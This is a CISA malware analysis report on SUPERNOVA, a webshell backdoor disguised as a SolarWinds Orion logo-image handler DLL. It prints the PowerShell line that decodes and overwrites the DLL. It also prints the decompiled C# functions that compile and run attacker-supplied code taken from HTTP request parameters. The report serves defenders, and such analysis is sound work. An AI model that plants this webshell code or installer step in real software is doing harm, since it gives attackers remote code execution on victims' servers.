MAR-10319053-1.v2 - Supernova

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Description

This report provides detailed analysis of several malicious artifacts, affecting the SolarWinds Orion product, which have been identified by the security company FireEye as SUPERNOVA. According to a SolarWinds advisory, SUPERNOVA is not embedded within the Orion platform as a supply chain attack; rather, it is placed by an attacker directly on a system that hosts SolarWinds Orion and is designed to appear as part of the SolarWinds product. CISA's assessment is that SUPERNOVA is not part of the SolarWinds supply chain attack described in Alert AA20-352A. See the section in Microsoft’s blog titled “Additional malware discovered” for more information.



This report describes the analysis of a PowerShell script that decodes and installs SUPERNOVA, a malicious webshell backdoor. SUPERNOVA is embedded in a trojanized version of the Solarwinds Orion Web Application module called “App_Web_logoimagehandler.ashx.b6031896.dll." The SUPERNOVA malware allows a remote operator to dynamically inject C# source code into a web portal provided via the SolarWinds software suite. The injected code is compiled and directly executed in memory.

For a downloadable copy of indicators of compromise (IOCs), see: MAR-10319053-1.v2.stix

References

https://us-cert.cisa.gov/ncas/alerts/aa20-352a

https://www.solarwinds.com/securityadvisory#anchor2

https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/

Submitted Files (2)

290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515 (1.ps1)

c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 (App_Web_logoimagehandler.ashx....)

290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

Description

This file is an event log that details the execution of a PowerShell script designed to Base64 decode and install a 32-bit .NET dynamic-link library (DLL) into the following location: "C:\inetpub\SolarWinds\bin\App_Web_logoimagehandler.ashx.b6031896.dll (c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71). The DLL is patched with the SUPERNOVA webshell and is a replacement for a legitimate SolarWinds DLL.



Displayed below is a portion of the event log with the victim information redacted. It indicates the malicious PowerShell was executed by the legitimate SolarWinds application "E:\Program Files (x86)\SolarWinds\Orion\SolarWinds.BusinessLayerHost.exe."



--Begin event log--

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\";$f=\"C:\inetpub\SolarWinds\bin\App_Web_logoimagehandler.ashx.b6031896.dll\";$bs=[Convert]::FromBase64String($b);[IO.File]::WriteAllBytes($f $bs)' 'S-1-0-0' '-' '-' '0x0000000000000000' 'E:\Program Files (x86)\SolarWinds\Orion\SolarWinds.BusinessLayerHost.exe' 'S-1-16-16384'] Computer Name: [redacted].[redacted].net Record Number: 12551353 Event Level: 0

--End event log--

c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71

Tags

backdoortrojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file is a 32-bit .NET DLL that has been identified as a modified SolarWinds plug-in. The malware patched into this plug-in has been identified as SUPERNOVA. The modification includes the "DynamicRun" export function which is designed to accept and parse provided arguments. The arguments are expected to partially contain C# code, which the function will compile and execute directly in system memory. The purpose of this malware indicates the attacker has identified a vulnerability allowing the ability to dynamically provide a custom "HttpContext" data structure to the web application’s "ProcessRequest" function.



The ProcessRequest function takes an HttpContext Data structure as an argument. It parses portions of the request substructure of the parent HttpContext data structure using the keys “codes”, “clazz”, “method”, and “args”. The parsed data is placed in the respective variables codes, clazz, method, and args. These four variables are then provided as arguments to the DynamicRun function described next.



The "DynamicRun" function is designed to accept C# code and then dynamically compile and execute it. The "codes" variable provided to the function contains the actual C# code. The "clazz" variable provides the class name that is used when compiling the source code. The "method" variable will contain the function name that will be called for the newly compiled class. The "args" variable will contain the arguments provided to the executed malicious class.



After parsing out and executing the provided code, the "ProcessRequest" function will continue on to call a function named "WebSettingsDAL.get_NewNOCSiteLogo." Analysis indicates this is a valid SolarWinds function designed to render the product logo on a web application.







--Begin ProcessRequest Function--

public void ProcessRequest(HttpContext context)

{

   try

   {

    string codes = context.Request["codes"];

    string clazz = context.Request["clazz"];

    string method = context.Request["method"];

    string[] args = context.Request["args"].Split('\n');

    context.Response.ContentType = "text/plain";

    context.Response.Write(this.DynamicRun(codes, clazz, method, args));

   }

   catch (Exception ex)

   {

   }

   NameValueCollection queryString = HttpUtility.ParseQueryString(context.Request.Url.Query);

   try

   {

    string str1 = queryString["id"];

    string s;

    if (!(str1 == "SitelogoImage"))

    {

       if (!(str1 == "SiteNoclogoImage"))

        throw new ArgumentOutOfRangeException(queryString["id"]);

       s = WebSettingsDAL.get_NewNOCSiteLogo();

    }

    else

       s = WebSettingsDAL.get_NewSiteLogo();

    byte[] buffer = Convert.FromBase64String(s);

    if ((buffer == null || buffer.Length == 0) && File.Exists(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif")))

       buffer = File.ReadAllBytes(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif"));

    string str2 = buffer.Length < 2 || buffer[0] != byte.MaxValue || buffer[1] != (byte) 216 ? (buffer.Length < 3 || buffer[0] != (byte) 71 || (buffer[1] != (byte) 73 || buffer[2] != (byte) 70) ? (buffer.Length < 8 || buffer[0] != (byte) 137 || (buffer[1] != (byte) 80 || buffer[2] != (byte) 78) || (buffer[3] != (byte) 71 || buffer[4] != (byte) 13 || (buffer[5] != (byte) 10 || buffer[6] != (byte) 26)) || buffer[7] != (byte) 10 ? "image/jpeg" : "image/png") : "image/gif") : "image/jpeg";

    context.Response.OutputStream.Write(buffer, 0, buffer.Length);

    context.Response.ContentType = str2;

    context.Response.Cache.SetCacheability(HttpCacheability.Private);

    context.Response.StatusDescription = "OK";

    context.Response.StatusCode = 200;

    return;

   }

   catch (Exception ex)

   {

    LogoImageHandler._log.Error((object) "Unexpected error trying to provide logo image for the page.", ex);

   }

   context.Response.Cache.SetCacheability(HttpCacheability.NoCache);

   context.Response.StatusDescription = "NO IMAGE";

   context.Response.StatusCode = 500;

}

--End ProcessRequest Function--



--Begin DynamicRun Function--

public string DynamicRun(string codes, string clazz, string method, string[] args)

{

   ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();

   CompilerParameters options = new CompilerParameters();

   options.ReferencedAssemblies.Add("System.dll");

   options.ReferencedAssemblies.Add("System.ServiceModel.dll");

   options.ReferencedAssemblies.Add("System.Data.dll");

   options.ReferencedAssemblies.Add("System.Runtime.dll");

   options.GenerateExecutable = false;

   options.GenerateInMemory = true;

   string source = codes;

   CompilerResults compilerResults = compiler.CompileAssemblyFromSource(options, source);

   if (compilerResults.Errors.HasErrors)

   {

    // ISSUE: reference to a compiler-generated field

    // ISSUE: reference to a compiler-generated field

    // ISSUE: reference to a compiler-generated field

    // ISSUE: method pointer

    string.Join(Environment.NewLine, (IEnumerable<string>) Enumerable.Select<CompilerError, string>((IEnumerable<M0>) compilerResults.Errors.Cast<CompilerError>(), (Func<M0, M1>) (LogoImageHandler.\u003C\u003Ec.\u003C\u003E9__3_0 ?? (LogoImageHandler.\u003C\u003Ec.\u003C\u003E9__3_0 = new Func<CompilerError, string>((object) LogoImageHandler.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CDynamicRun\u003Eb__3_0))))));

    Console.WriteLine("error");

    return compilerResults.Errors.ToString();

   }

   object instance = compilerResults.CompiledAssembly.CreateInstance(clazz);

   return (string) instance.GetType().GetMethod(method).Invoke(instance, (object[]) args);

}

--End DynamicRun Function--

Screenshots

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

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